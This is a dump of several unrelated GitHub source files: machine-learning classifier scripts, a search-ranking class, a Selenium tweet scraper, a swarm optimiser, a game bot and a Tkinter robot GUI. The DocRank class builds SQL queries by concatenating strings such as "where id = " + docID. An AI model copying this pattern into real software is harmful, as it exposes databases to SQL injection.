GradientBoostingClassifier(subsample=0.7, min_samples_split=10)\nclassifier.fit(X_train, y_train)\ny_hat_grad = classifier.predict(X_test)\nprint(\"GradientBoostingClassifier\")\nprint(classification_report(y_test, y_hat_grad))\nprint(confusion_matrix(y_test, y_hat_grad))\n\n\n# #### Note\n# * New models will be created using the training set and be appended as new data collumns\n# * Same will be done for the test set\n\n# model1 = joblib.load('logistic.sav')\n# model2 = joblib.load('decision_tree.sav')\n# model3 = joblib.load('random_forest.sav')\n# model4 = joblib.load('svc.sav')\n# model5 = joblib.load('knn.sav')\n\nmodel1 = LogisticRegression(C=10000).fit(X, y)\nmodel2 = DecisionTreeClassifier(max_depth=8, criterion='entropy', min_samples_leaf=100).fit(X, y)\nmodel3 = RandomForestClassifier(criterion='entropy', n_estimators=10).fit(X, y)\nmodel4 = SVC(probability=True).fit(X, y)\nmodel5 = KNeighborsClassifier(n_neighbors=15).fit(X, y)\n\n\ndef get_mod(array, models = [model1, model2, model3, model4, model5]):\n final_model = array\n for i in models:\n final_model = np.concatenate((final_model, i.predict_proba(array)[:, 0:1]), axis=1)\n \n return final_model\nnew_X_train = get_mod(X_train)\nnew_X_test = get_mod(X_test)\nX = get_mod(X)\n\n# #### Note\n# * The function below will help to split the safe and unsafe results\n# * So that an equal number of safe and unsafe observations can be used in the batches\n# * This will improve the training of the neural network a stated in Yann Lecun's paper\n\ndef split_data(X, y):\n \"\"\"Splits data based on classifier 0 and 1\"\"\"\n data = np.concatenate((X, y), axis=1)\n zero = data[(data[:, -1]==0)][:, 0:15]\n one = data[(data[:, -1]==1)][:, 0:15]\n \n return (zero, one)\n\ndef prep_batch(batch_size, array1, array2):\n holder = []\n zero = np.random.randint(array1.shape[0], size=16)\n one = np.random.randint(array2.shape[0], size=16)\n for i in range(batch_size//2):\n holder.append(array1[zero[i]:zero[i]+1, :])\n holder.append(array2[one[i]:one[i]+1, :])\n \n return np.concatenate(holder, axis=0)\n\n\n\n# ### Neural Network\n\ndef init_weight(shape):\n weights = tf.truncated_normal(shape, stddev=0.1)\n # Truncated normal will pick values from normal distribution, but if the value\n # is off by 2 std dev, the value is dropped and repicked.\n return tf.Variable(weights)\n\ndef init_bias(shape):\n bias = tf.constant(0.1, shape=shape)\n return tf.Variable(bias)\n\ndef layer(input_layer, size):\n # The number of size determines the number of neurons on the next layer\n input_size = int(input_layer.get_shape()[1])\n W = init_weight([input_size, size])\n b = init_bias([size])\n \n return tf.matmul(input_layer, W) + b\n\nx = tf.placeholder(tf.float32, shape=[None, 15], name='x') \ny_true = tf.placeholder(tf.float32, shape=[None,1], name='y_true')\n\nhold_prob = tf.placeholder(tf.float32, name='hold_prob')\ndropout_layer = tf.nn.dropout(x, rate=1-hold_prob)\n\nhidden_layer1 = tf.nn.leaky_relu(layer(dropout_layer, 6))\n\ny_hat = tf.nn.sigmoid(layer(hidden_layer1, 1), name='y_hat')\n\ncross_entropy = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_hat))\n\noptimizer = tf.train.AdamOptimizer(learning_rate=0.0001)\ntrain = optimizer.minimize(cross_entropy)\n\ninit = tf.global_variables_initializer()\n\nsteps = 1000001\nbatch_size=32\nsaver = tf.train.Saver()\n\nwith tf.Session() as sess:\n sess.run(init)\n zero, one = split_data(new_X_train, y_train) \n batch_y = np.array([[0,1]]*16).flatten()[:, np.newaxis]\n for i in range(steps):\n batch_x = prep_batch(batch_size, zero, one)\n sess.run(train, feed_dict={x:X, y_true:y, hold_prob:0.9})\n y_hat = sess.run(y_hat, feed_dict={x:new_X_test, y_true:y_test, hold_prob:1})\n saver.save(sess, \"nn_model\")\n print(\"{} file saved!\".format(\"model.ckpt\"))\n\n\nprint(\"Neural Network\")\nprint(classification_report(y_test, np.round(y_hat)))\nprint(confusion_matrix(y_test, np.round(y_hat)))\n\n","repo_name":"mhdns/grabaisafety","sub_path":"data_exploration/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":14220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41625050927","text":"import json\nimport jieba\nimport re\nimport math\nimport time\nimport traceback\nfrom zlib import crc32\nimport numpy\n\nclass DocRank(object):\n\n def __init__(self, posting_list, db, stop_word, docsSize, lengthDict, avgLength):\n\n #倒排记录表\n self.posting_list = posting_list\n #数据库操作\n self.db = db\n #停用词表\n self.stop_word = stop_word\n #文档总数量\n self.docsSize = docsSize\n #每页显示文档数\n self.pageNumber = 10\n #文档长度\n self.lengthDict = lengthDict\n #文档平均长度\n self.avgLength = avgLength\n\n #文档排序\n def query(self, json_input):\n print(json_input)\n \t#读取json\n data_input = json_input\n\n query = data_input['query'].lower()\n source = data_input['source']\n category = data_input['category']\n time_from = data_input['from']\n time_to = data_input['to']\n sortType = int(data_input['sort'])\n page = int(data_input['page'])\n\n if '*' in query:\n #通配符查询相关文档\n ans = self.queryByWildcard(query, source, category, time_from, time_to, sortType, page, 5)\n else:\n #词项查询相关文档\n ans = self.queryByTerms(0, query, source, category, time_from, time_to, sortType, page)\n return ans\n\n\n #词项查询相关文档\n def queryByTerms(self, W, query, source, category, time_from, time_to, sortType, page):\n\n #分词\n if W == 0:\n terms = self.wordSegment(query)\n else:\n terms = [x for x in query]\n\n #删除停用词\n for term in terms:\n if term in self.stop_word:\n terms.remove(term)\n print(\"-----term:\", len(terms))\n \n #倒排记录表求交\n intersection = self.intersectPostingList(terms)\n print(\"-----intersect result:\", len(intersection))\n\n #Wt_q\n Wt_q = self.calculateWt_q(terms)\n print(\"-----calculateWt_q:\", len(Wt_q))\n \n #过滤文档\n if source != 'all' or category != 'all' or time_from != 'all' or time_to != 'all':\n intersection = self.filterDocsByTSC(intersection, source, category, time_from, time_to)\n print(\"filterd\")\n \n #文档排序\n if sortType == 0:\n scores, rank = self.rankDocsByTfidf(Wt_q, intersection)\n else:\n scores, rank = self.rankDocsByTime(Wt_q, intersection)\n print(\"-----rankDocs:\", len(scores), len(rank))\n\n \t#相关文档总数\n relatedDocSize = len(intersection)\n\n \t#选���指定页数文档\n if page >= 0:\n result = self.filterPage(rank, page)\n else:\n result = rank\n print(\"-----filterPage\", len(result))\n\n \t#构造输出\n docList = list()\n for docID in result:\n docList.append({'id':docID, 'relationship':scores[docID]})\n\n output = dict()\n output['resultCount'] = relatedDocSize\n output['keywords'] = terms\n output['docList'] = docList\n\n\n return output\n\n\n #通配符查询\n def queryByWildcard(self, query, source, category, time_from, time_to, sortType, page, limit):\n #k-gram分词\n query = \"$\"+query+\"$\"\n grams = self.wordSegmentByKgram(query, 2)\n print(\"grams\", grams)\n terms = self.getTermsByKgram(grams, limit)\n print(\"wildcard---terms\", len(terms))\n print(terms)\n \n #相关文档数\n relatedDocCount = 0\n\n #查询terms相关文档\n docs = list() #保存最终List\n alldocs = list() #保存查询List\n for term in terms:\n result = self.queryByTerms(1, term, source, category, time_from, time_to, sortType, -1)\n alldocs.extend(result['docList'])\n #relatedDocCount = max(int(result['resultCount'])/10, relatedDocCount)\n alldocs = sorted(alldocs, key=lambda x: float(x['relationship']), reverse=True)\n relatedDocCount = len(alldocs)\n print(\"wildcard---alldocs:\", len(alldocs))\n\n # for i in range(self.pageNumber):\n # for term in terms:\n # if i < len(alldocs[term]):\n # docs.append(alldocs[term][i])\n # if len(docs) >= self.pageNumber:\n # break\n docs = self.filterPage(alldocs, page)\n print(\"wildcard---docs:\", len(docs))\n #docs = sorted(docs, key=lambda x: float(x['relationship']), reverse=True)\n output = dict()\n output['resultCount'] = relatedDocCount\n output['keywords'] = terms\n output['docList'] = docs\n print(\"wildcard---output:\", output)\n \n return output\n\n #分词\n def wordSegment(self, query):\n\n pattern = re.compile(r\"(\\s)*\")\n query, number = pattern.subn(\"\", query)\n\n terms = jieba.cut(query)\n return [x for x in terms]\n\n\n #倒排记录表求交\n def intersectPostingList(self, terms):\n\n inter = set()\n flag = 0\n\n for term in terms:\n if term in self.posting_list.keys():\n posting_list = self.posting_list[term]['docDict']\n tmp = set(posting_list.keys())\n if flag == 0:\n inter.update(posting_list.keys())\n flag = 1\n else:\n if len(tmp) != 0:\n inter = inter & tmp\n return list(inter)\n\n #计算Wt_q\n def calculateWt_q(self, terms):\n\n \t#查询tf值\n \ttfs = dict()\n \t#Wt_q\n \tWt_q = dict()\n\n \t#长度,用于归一化\n \tlength = 0\n\n \tfor term in terms:\n if term in tfs.keys():\n tfs[term] += 1\n else:\n tfs[term] = 1\n\n \tfor term in tfs.keys():\n if term in self.posting_list.keys():\n df = self.posting_list[term]['df'] * 1.0\n else:\n df = 0\n idf = 0.\n\n idf = math.log((self.docsSize-df+0.5)/(df+0.5), 10)\n\n Wt_q[term] = idf\n\n length += Wt_q[term] ** 2\n\n \tlength = math.sqrt(length)\n\n \t#归一化\n \t#if length != 0:\n # for term in Wt_q.keys():\n # Wt_q[term] = Wt_q[term] / length\n\n \treturn Wt_q\n\n #文档按tf-idf排序\n def rankDocsByTfidf(self, Wt_q, intersection):\n\n \tdocScores = dict()\n\n \tfor docID in intersection:\n docScores[docID] = self.calculateSimilarity(Wt_q, docID)\n\n \trank = sorted(docScores.items(), key=lambda x: x[1], reverse=True)\n \trank = [x[0] for x in rank]\n\n \treturn docScores, rank\n\n #文档按时间排序\n def rankDocsByTime(self, Wt_q, intersection):\n docsTime = dict()\n try:\n for docID in intersection:\n queryList = list()\n queryList.append('publish_time')\n t = self.db.select('news_info', queryList, \"where id = \" + docID)\n \n docsTime[docID] = self.timeStr2Integer(str(t[0][0]))\n except Exception as e:\n print(e)\n\n rank = sorted(docsTime.items(), key=lambda x: x[1], reverse=True)\n rank = [x[0] for x in rank]\n docScores = dict()\n for docID in intersection:\n docScores[docID] = self.calculateSimilarity(Wt_q, docID)\n\n return docScores, rank\n\n #相关度计算\n def calculateSimilarity(self, Wt_q, docID):\n Wt_d = dict()\n length = 0\n score = 0\n\n '''\n for term in Wt_q.keys():\n if term in self.posting_list.keys():\n tf = int(self.posting_list[term]['docDict'][docID])\n else:\n tf = 0\n idf = 1.\n Wt_d[term] = self.calculateWF(tf) * idf\n length += Wt_d[term] ** 2\n\n length = math.sqrt(length)\n\n #归一化\n if length != 0:\n for term in Wt_d.keys():\n Wt_d[term] = Wt_d[term] / length\n\n #计算余弦相似度\n for term in Wt_q.keys():\n score += Wt_q[term] * Wt_d[term]\n '''\n for term in Wt_q.keys():\n if term in self.posting_list.keys():\n tf = int(self.posting_list[term]['docDict'][docID])\n else:\n tf = 0\n docLength = 0.\n if docID in self.lengthDict.keys():\n docLength = self.lengthDict[docID]\n score += Wt_q[term] * ((2.5*tf)/(1.5*(0.25+0.75*(docLength/self.avgLength)) + tf))\n \n score = numpy.tanh(score/5.0)\n return score\n\n #文档筛选\n def filterDocsByTSC(self, relatedDocs, source, category, time_from, time_to):\n filtered = list()\n if time_from != 'all':\n t_from = self.timeStr2Integer(time_from)\n if time_to != 'all':\n t_to = self.timeStr2Integer(time_to)\n try:\n for docID in relatedDocs:\n flag = True\n queryList = list()\n queryList.append('source')\n queryList.append('category')\n queryList.append('publish_time')\n\n result = self.db.select('news_info', queryList, \"where id = \" + docID)\n \n if result[0][0] is None or result[0][1] is None or result[0][2] is None:\n continue\n\n if source != 'all' and source != result[0][0]:\n flag = False\n if category != 'all' and category != result[0][1]:\n flag = False\n if time_from != 'all' and time_to != 'all':\n t = self.timeStr2Integer(str(result[0][2]))\n if(not (t_from <= t <= t_to)):\n flag = False\n elif time_from != 'all' and time_to == 'all':\n t = self.timeStr2Integer(str(result[0][2]))\n if t < t_from:\n flag = False\n elif time_from == 'all' and time_to != 'all':\n t = self.timeStr2Integer(str(result[0][2]))\n if t > t_to:\n flag = False\n\n if flag:\n filtered.append(docID)\n except Exception as e:\n print(e)\n\n return filtered\n \n #k-gram分词\n def wordSegmentByKgram(self, query, k):\n ans = list()\n segments = query.split(\"*\")\n for seg in segments:\n tmp = list()\n for i in range(len(seg)-k+1):\n tmp.append(seg[i:i+k])\n ans.extend(tmp)\n return ans\n\n #根据k-gram查询可能的词项\n def getTermsByKgram(self, grams, limit):\n intersection = set()\n flag = 0\n try:\n for gram in grams:\n ids = self.getTermsFromKgram(gram)\n tmp = set(ids)\n if flag == 0:\n intersection = intersection | tmp\n flag = 1\n else:\n intersection = intersection & tmp\n\n intersection = list(intersection)\n if limit < len(intersection):\n intersection = intersection[0:limit]\n\n ans = list()\n for termID in intersection:\n queryList = list()\n queryList.append('term')\n result = self.db.select('dictionary', queryList, \"where id = \" + termID)\n ans.append(result[0][0])\n\n\n except Exception as e:\n print(e)\n\n return ans\n\n #查询kgram表\n def getTermsFromKgram(self, gram):\n ans = set()\n\n queryList = list()\n queryList.append('kgram')\n queryList.append('content')\n hash_value = crc32(bytes(gram, 'utf8'))\n result = self.db.select('kgram_index', queryList, \"where kgram_hash = \" + str(hash_value))\n for record in result:\n if record[0] == gram:\n content = record[1]\n ids = content[1:-1].split(',')\n ans.update(ids)\n\n return list(ans)\n\n #选取指定page的文档\n def filterPage(self, rank, page):\n filterd = list()\n for i in range((page-1)*self.pageNumber, page*self.pageNumber):\n if i < len(rank):\n filterd.append(rank[i])\n\n return filterd\n\n #时间字符串转整形\n def timeStr2Integer(self, timeStr):\n times = time.strptime(timeStr, '%Y-%m-%d %H:%M:%S')\n return time.mktime(times)\n\n #tf的亚线性尺度变换\n def calculateWF(self, tf):\n if int(tf) > 0:\n return 1 + math.log(tf, 10)\n else:\n return 0\n\n","repo_name":"LeoCui/NIR","sub_path":"src/IR_Project/web/mysite/app/search/lib/DocRank.py","file_name":"DocRank.py","file_ext":"py","file_size_in_byte":12687,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"7808183996","text":"# All lines provided by Codecademy. Modified by John Renodin.\nboard_games = [\"Settlers of Catan\", \"Carcassone\", \"Power Grid\", \"Agricola\", \"Scrabble\"]\n\nsport_games = [\"football\", \"hockey\", \"baseball\", \"cricket\"]\n\nfor game in board_games:\n print(game)\n\nfor sport in sport_games:\n print(sport)\n","repo_name":"J0hnRJr/Codecademy-Practice","sub_path":"bi-data-analyst/Python/Part I/Loops/Exercise 2/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"36928192500","text":"# coding=utf-8\nimport math\nfrom SharedData import * # Just to ignore the warnings about globals\nimport SharedData\nfrom Munkres import cross_assign\n\n\nislands = None\n\n\ndef run():\n global islands\n globals().update(SharedData.__dict__) # Ugly hack to import all SharedData vars for use\n\n # Goal: gain advantage as fast as possible\n if islands is None:\n islands = set(game.islands())\n while len(islands) > math.ceil(len(islands_locations) / float(2)):\n islands.discard(furthestIsland(islands))\n\n turn_islands = islands.copy()\n guardians = set()\n for island in turn_islands.copy():\n if island in game.my_islands():\n if island.team_capturing == game.ENEMY:\n guardians.add(island)\n turn_islands.discard(island)\n\n all_interest_islands = guardians.copy()\n all_interest_islands.update(turn_islands)\n assignments = cross_assign(game.my_pirates(), all_interest_islands)\n for assignment in assignments:\n chosen_pirate = assignment[1]\n chosen_island = assignment[0]\n movePirate(chosen_pirate, chosen_island,\n importance=(3 if game.is_capturing(chosen_pirate) else 1),\n kamikaze=(chosen_island in guardians))\n\n\ndef furthestIsland(isls):\n return max(isls, key=lambda isl: game.distance(isl, piratesCenter()))\n\n\ndef piratesCenter():\n pirates = game.my_pirates()\n return tuple((sum([pirate.location[0] for pirate in pirates]) / len(pirates),\n sum([pirate.location[1] for pirate in pirates]) / len(pirates)))","repo_name":"barzilaydn/DreamBot","sub_path":"Strategies/BestAssignIsland.py","file_name":"BestAssignIsland.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30489230959","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nimport time\nimport csv\nimport pandas as pd\n\ndriver_path = \"C:\\Program Files (x86)\\chromedriver.exe\"\nbrowser = webdriver.Chrome(driver_path)\nveri = input(\"#Arama:\")\nbrowser.get(\"https://twitter.com/search?q=\"+veri+\"&src=recent_search_click\")\nbrowser.maximize_window()\ntime.sleep(2)\n\nsonuc = []\ntwit = browser.find_elements(\"xpath\",\"//div[@data-testid='tweetText']\")\ntime.sleep(2)\nprint(\"................\\n\" + str(len(twit)) + \"adet twit çekildi \\n ...............\")\nfor i in twit:\n sonuc.append(i.text)\n\n\nsayaç = 0\nson = browser.execute_script(\"return document.documentElement.scrollHeight\")\nwhile True:\n if sayaç > 3 :\n break\n browser.execute_script(\"window.scrollTo(0,document.documentElement.scrollHeight)\")\n time.sleep(2)\n\n yeni = browser.execute_script(\"return document.documentElement.scrollHeight\")\n if son == yeni :\n break\n son = yeni\n sayaç += 1\n twit = browser.find_elements(\"xpath\", \"//div[@data-testid='tweetText']\")\n time.sleep(2)\n\n print(\"................\\n\" + str(len(twit)) + \"adet twit çekildi \\n ...............\")\n for i in twit:\n sonuc.append(i.text)\n\nadet = 1\nwith open(\"Tiwitler.txt\",\"w\", encoding= \"UTF-8\") as file: ## \"w\" formatı o isimde dosya yoksa olusturur.\n for a in sonuc:\n file.write(f\"{adet} - {a}\\n\")\n adet += 1\nprint(\"dosya oluşturuldu.\")\n\n","repo_name":"Tamayerd/WebScraping","sub_path":"Twitter.py","file_name":"Twitter.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2270280990","text":"import numpy as np\nfrom zto.problem_6.sphere_problem import SphereProblem, SphereSolution\n\n\nclass PSOSolver:\n def __init__(\n self,\n population: int,\n learning_rate: float,\n omega: float,\n phi_local: float,\n phi_global: float,\n iteration_limit: int = 1000,\n no_progress_limit: int = -1,\n ) -> None:\n self.population = population\n self.learning_rate = learning_rate\n self.omega = omega\n self.phi_local = phi_local\n self.phi_global = phi_global\n\n self.iteration_limit = iteration_limit\n self.no_progress_limit = no_progress_limit\n\n def update_best_solution(self, solution: SphereSolution) -> None:\n if solution < self.best_solution:\n self.best_solution = solution\n self.no_progress = 0\n\n def should_stop(self) -> bool:\n if self.iteration >= self.iteration_limit:\n return True\n if self.no_progress_limit > -1 and self.no_progress >= self.no_progress_limit:\n return True\n return False\n\n def solve(self, problem: SphereProblem) -> SphereSolution:\n solutions = [\n PSOSolution(\n problem.get_random_solution(), problem.upper_bound, problem.lower_bound\n )\n for _ in range(self.population)\n ]\n self.best_solution = solutions[0].solution\n\n for s in solutions:\n self.update_best_solution(s.solution)\n\n self.iteration = 0\n self.no_progress = 0\n while not self.should_stop():\n self.iteration += 1\n self.no_progress += 1\n for s in solutions:\n rnd_local = np.random.random(problem.vars)\n rnd_global = np.random.random(problem.vars)\n s.update_velocity(\n self.omega,\n self.phi_local,\n rnd_local,\n self.phi_global,\n rnd_global,\n self.best_solution,\n )\n new_solution = s.update_position(self.learning_rate, problem)\n self.update_best_solution(new_solution)\n\n return self.best_solution\n\n\nclass PSOSolution:\n def __init__(\n self,\n solution: SphereSolution,\n upper_bound: float,\n lower_bound: float,\n ) -> None:\n self.solution = solution\n self.best_local = solution\n\n u = lower_bound - upper_bound\n l = upper_bound - lower_bound\n self.velocity = np.random.random(len(solution.values)) * (u - l) + l\n\n def update_velocity(\n self,\n omega: float,\n phi_local: float,\n rnd_local: np.ndarray,\n phi_global: float,\n rnd_global: np.ndarray,\n best_solution: SphereSolution,\n ) -> None:\n self.velocity = (\n self.velocity * omega\n + phi_local * rnd_local * (self.best_local.values - self.solution.values)\n + phi_global * rnd_global * (best_solution.values - self.solution.values)\n )\n\n def update_position(\n self, learning_rate: float, problem: SphereProblem\n ) -> SphereSolution:\n new_values = self.solution.values + learning_rate * self.velocity\n new_value = problem.evaluate_values(new_values)\n new_solution = SphereSolution(new_values, new_value)\n\n self.solution = new_solution\n if new_solution < self.best_local:\n self.best_local = new_solution\n\n return new_solution\n","repo_name":"Greenpp/zto-pwr-2021","sub_path":"zto/problem_6/PSO.py","file_name":"PSO.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23981069246","text":"import socket\n\nif __name__ == \"__main__\":\n \n desc= socket.socket(family=socket.AF_INET,type=socket.SOCK_STREAM)\n desc.connect((\"192.168.1.51\",8080))\n string = \"GET /ID=1/T=50.00/H=99.00/ HTTP/1.1\\r\\n\"\n desc.sendall(str.encode(string))\n desc.close()\n\n","repo_name":"umcomp2/finales","sub_path":"56162-noya/test_celery.py","file_name":"test_celery.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"29365900404","text":"\"\"\" Module to sequentially execute from feature engineering to evaluation step\n\"\"\"\nimport subprocess\nimport os\nimport logging\n\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef check_files_exist():\n \"\"\"Check if the files needed exist. Returns files location.\"\"\"\n cwd = os.getcwd()\n assert os.path.isfile(cwd + \"/src/preprocess/pre_process.py\")\n assert os.path.isfile(cwd + \"/src/train/train.py\")\n assert os.path.isfile(cwd + \"/src/evaluate/evaluate_model.py\")\n assert os.path.isfile(cwd + \"/src/register/register_model.py\")\n logging.info(\"Los archivos necesarios para la ejecución existen\")\n\n return (\n cwd + \"/src/preprocess/pre_process.py\",\n cwd + \"/src/train/train.py\",\n cwd + \"/src/evaluate/evaluate_model.py\",\n cwd + \"/src/register/register_model.py\",\n )\n\n\nif __name__ == \"__main__\":\n # Check needed files exist, and returning they paths\n fe_dir, model_dir, eval_dir, reg_dir = check_files_exist()\n # Execute them sequentially\n cmd_str = f\"python {fe_dir} && python {model_dir} && python {eval_dir} && python {reg_dir}\"\n subprocess.run(cmd_str, shell=True)\n","repo_name":"Juanfran05/ml-databricks-testing","sub_path":"src/concatenate_scripts/concatenate_scripts.py","file_name":"concatenate_scripts.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27005035504","text":"\"\"\"\nThe Python Capstone Project -- Talk to Me!\n\nCSSE 120 - Introduction to Software Development (Robotics).\nWinter term, 2013-2014.\nTeam members: Jeremiah Goist, Brooke Brown and Sarah Walker.\n\nThe primary author of this module is: Sarah Walker\n\"\"\"\n# Done: Put the names of ALL team members in the above where indicated.\n# Put YOUR NAME in the above where indicated.\n\n\n# ALL the imports\nimport m0\nimport m2\nimport m3\nimport tkinter\nfrom tkinter import ttk\nimport new_create\nimport time\nimport math\n\n\ndef main():\n \"\"\"\n Tests functions in this module.\n Intended to be used internally by the primary author of this module.\n \"\"\"\n # Imports data container from m0\n dc = m0.DataContainer()\n\n # Creates window\n root = tkinter.Tk()\n\n # Creates frame for printing\n frame0 = ttk.Frame(root)\n frame0.grid(row=0, column=2)\n\n # Creates label to print on\n label = ttk.Label(frame0, text=dc.label_text)\n label.grid(ipadx=100, ipady=50)\n\n # Creates frame number 1\n frame = my_connect_frame(root, dc, label)\n frame.grid(row=0)\n\n # Creates frame number 1.5\n frame1 = ttk.Frame(root)\n frame1.grid(row=1)\n\n # Creates button\n button2 = ttk.Button(frame1, text='Action')\n button2.grid(row=1, column=0)\n\n # Creates drop down menu\n frame_options = (\"Select a Frame\", 'CREATE Basic Autonomous', 'CREATE Advanced IR', 'CREATE Line Follow', 'CREATE Waypoints', \"CREATE BIO's\")\n selected_frame = tkinter.StringVar()\n selected_frame.set(frame_options[0])\n frame_selection = ttk.OptionMenu(frame1, selected_frame, *frame_options)\n frame_selection.grid(row=0, column=0)\n\n # Creates button\n button3 = ttk.Button(frame1, text='Action')\n button3.grid(row=1, column=1)\n\n # Creates second drop down menu\n frame1_options = (\"Select a Frame\", 'DESTROY Basic Autonomous', 'DESTROY Advanced IR', 'DESTROY Line Follow', 'DESTROY Waypoints', \"DESTROY BIO's\")\n selected_frame1 = tkinter.StringVar()\n selected_frame1.set(frame1_options[0])\n frame1_selection = ttk.OptionMenu(frame1, selected_frame1, *frame1_options)\n frame1_selection.grid(row=0, column=1)\n\n # When buttons are pushed\n button2['command'] = lambda: select_frame(root, dc, selected_frame, label)\n button3['command'] = lambda: delete_frame(root, dc, selected_frame1)\n\n # Runs main loop\n root.mainloop()\n\ndef select_frame(root, dc, select, label):\n\n # Gets value from drop down menu\n selected_frame = select.get()\n\n if selected_frame == \"CREATE BIO's\":\n # Creates frame number 2\n frame9 = BIO_frame(root, dc)\n frame9.grid(row=0, column=1)\n dc.frame_list[5] = frame9\n return frame9\n\n # Depending on input from drop down menu, displays selected frame\n if selected_frame == 'CREATE Basic Autonomous':\n # Creates frame number 2\n frame2 = basic_auto_frame(root, dc, label)\n frame2.grid(row=0, column=1)\n dc.frame_list[0] = frame2\n return frame2\n\n if selected_frame == 'CREATE Advanced IR':\n # Creates frame number 3\n frame3 = advanced_frame(root, dc, label)\n frame3.grid(row=0, column=2)\n dc.frame_list[1] = frame3\n return frame3\n\n if selected_frame == 'CREATE Line Follow':\n # Creates frame number 4\n frame4 = line_follow_frame(root, dc)\n frame4.grid(row=1, column=1)\n dc.frame_list[2] = frame4\n return frame4\n\n if selected_frame == 'CREATE Waypoints':\n # Creates frame number 5\n frame5 = waypoints_frame(root, dc)\n frame5.grid(row=1, column=2)\n dc.frame_list[3] = frame5\n return frame5\n\ndef delete_frame(root, dc, select):\n\n # Gets value form drop down box\n selected_frame = select.get()\n\n # Destroys selected frame from drop down box\n if selected_frame == 'DESTROY Basic Autonomous':\n dc.frame = dc.frame_list[0]\n dc.frame.destroy()\n return dc.frame\n\n if selected_frame == \"DETROY BIO's\":\n dc.frame = dc.frame_list[5]\n dc.frame.destroy()\n return dc.frame\n\n if selected_frame == 'DESTROY Advanced IR':\n dc.frame = dc.frame_list[1]\n dc.frame.destroy()\n return dc.frame\n\n if selected_frame == 'DESTROY Line Follow':\n dc.frame = dc.frame_list[2]\n dc.frame.destroy()\n return dc.frame\n\n if selected_frame == 'DESTROY Waypoints':\n dc.frame = dc.frame_list[3]\n dc.frame.destroy()\n return dc.frame\n\ndef BIO_frame(root, dc):\n\n frame = ttk.Frame(root, padding=10, relief='raised')\n\n # creates label for hours\n label = ttk.Label(frame, text=str(dc.Hours()[21]))\n label.grid()\n\n Sarah_button = ttk.Button(frame, text=\"Display Sarah's Bio\")\n Sarah_button.grid()\n\n Sarah_button['command'] = lambda: diplay_BIO(dc, 'Sarah')\n\n Jeremiah_button = ttk.Button(frame, text=\"Display Jeremiah's Bio\")\n Jeremiah_button.grid()\n\n Jeremiah_button['command'] = lambda: diplay_BIO(dc, 'Jeremiah')\n\n WIW_button = ttk.Button(frame, text=\"Display Robot's Bio\")\n WIW_button.grid()\n\n WIW_button['command'] = lambda: diplay_BIO(dc, 'WIW')\n\n Brooke_button = ttk.Button(frame, text=\"Display Brooke's Bio\")\n Brooke_button.grid()\n\n Brooke_button['command'] = lambda: diplay_BIO(dc, 'Brooke')\n\n return frame\n\ndef diplay_BIO(dc, Name):\n\n root = tkinter.Tk()\n\n frame = ttk.Frame(root)\n frame.grid()\n\n if Name == 'Sarah':\n\n f = open('Sarah', 'r')\n BIO = f.read()\n f.close()\n\n elif Name == 'Jeremiah':\n\n f = open('Jeremiah', 'r')\n BIO = f.read()\n f.close()\n\n elif Name == 'WIW':\n\n f = open('WIW', 'r')\n BIO = f.read()\n f.close()\n\n else:\n\n f = open('Brooke', 'r')\n BIO = f.read()\n f.close()\n\n label = ttk.Label(frame, text=BIO)\n label.grid()\n\n button = ttk.Button(frame, text='Close Window')\n button.grid()\n\n button['command'] = lambda: close_window(root)\n\ndef my_connect_frame(root, data_container, label):\n \"\"\"\n Constructs and returns a Frame that contains this module's widgets.\n Also sets up callbacks for this module's widgets.\n \"\"\"\n\n # Creates frame\n frame = ttk.Frame(root, padding=10, relief='raised')\n\n # Creates connect and disconnect buttons\n connect_button = ttk.Button(frame, text='Connect It')\n connect_button.grid()\n disconnect_button = ttk.Button(frame, text='Disconnect It')\n disconnect_button.grid()\n\n # Choose your port\n port_label = ttk.Label(frame, text=\"Enter a port\")\n port_label.grid()\n entry_port = ttk.Entry(frame, width=8)\n entry_port.grid()\n\n # Creates stop button\n stop_button = ttk.Button(frame, text=\"STOP WallE (and stuff)!\")\n stop_button.grid()\n\n # When you push button, calls function\n connect_button['command'] = lambda: actual_connect(data_container, entry_port, label)\n disconnect_button['command'] = lambda: disconnect_robot(data_container, label)\n\n # Stops robot when pushed\n stop_button['command'] = lambda: stop_robot(data_container)\n\n return frame\n\ndef basic_auto_frame(root, data_container, label):\n\n # Creates frame\n frame = ttk.Frame(root, padding=10, relief=\"raised\")\n\n # Creates Time Spent Label\n label = ttk.Label(frame, text=str(data_container.Hours()[4]))\n label.grid()\n\n # Distance entry box\n distance_label = ttk.Label(frame, text=\"Enter a distance\")\n distance_label.grid()\n entry_distance = ttk.Entry(frame, width=8)\n entry_distance.grid()\n\n # Direction entry box\n angle_label = ttk.Label(frame, text=\"Enter a direction in degrees\")\n angle_label.grid()\n entry_angle = ttk.Entry(frame, width=8)\n entry_angle.grid()\n\n # Angular speed entry box\n angle_speed_label = ttk.Label(frame, text=\"Enter a rotation speed (Degrees/second)\")\n angle_speed_label.grid()\n entry_angle_speed = ttk.Entry(frame, width=8)\n entry_angle_speed.grid()\n\n # Speed entry box\n speed_label = ttk.Label(frame, text=\"Enter a speed\")\n speed_label.grid()\n entry_speed = ttk.Entry(frame, width=8)\n 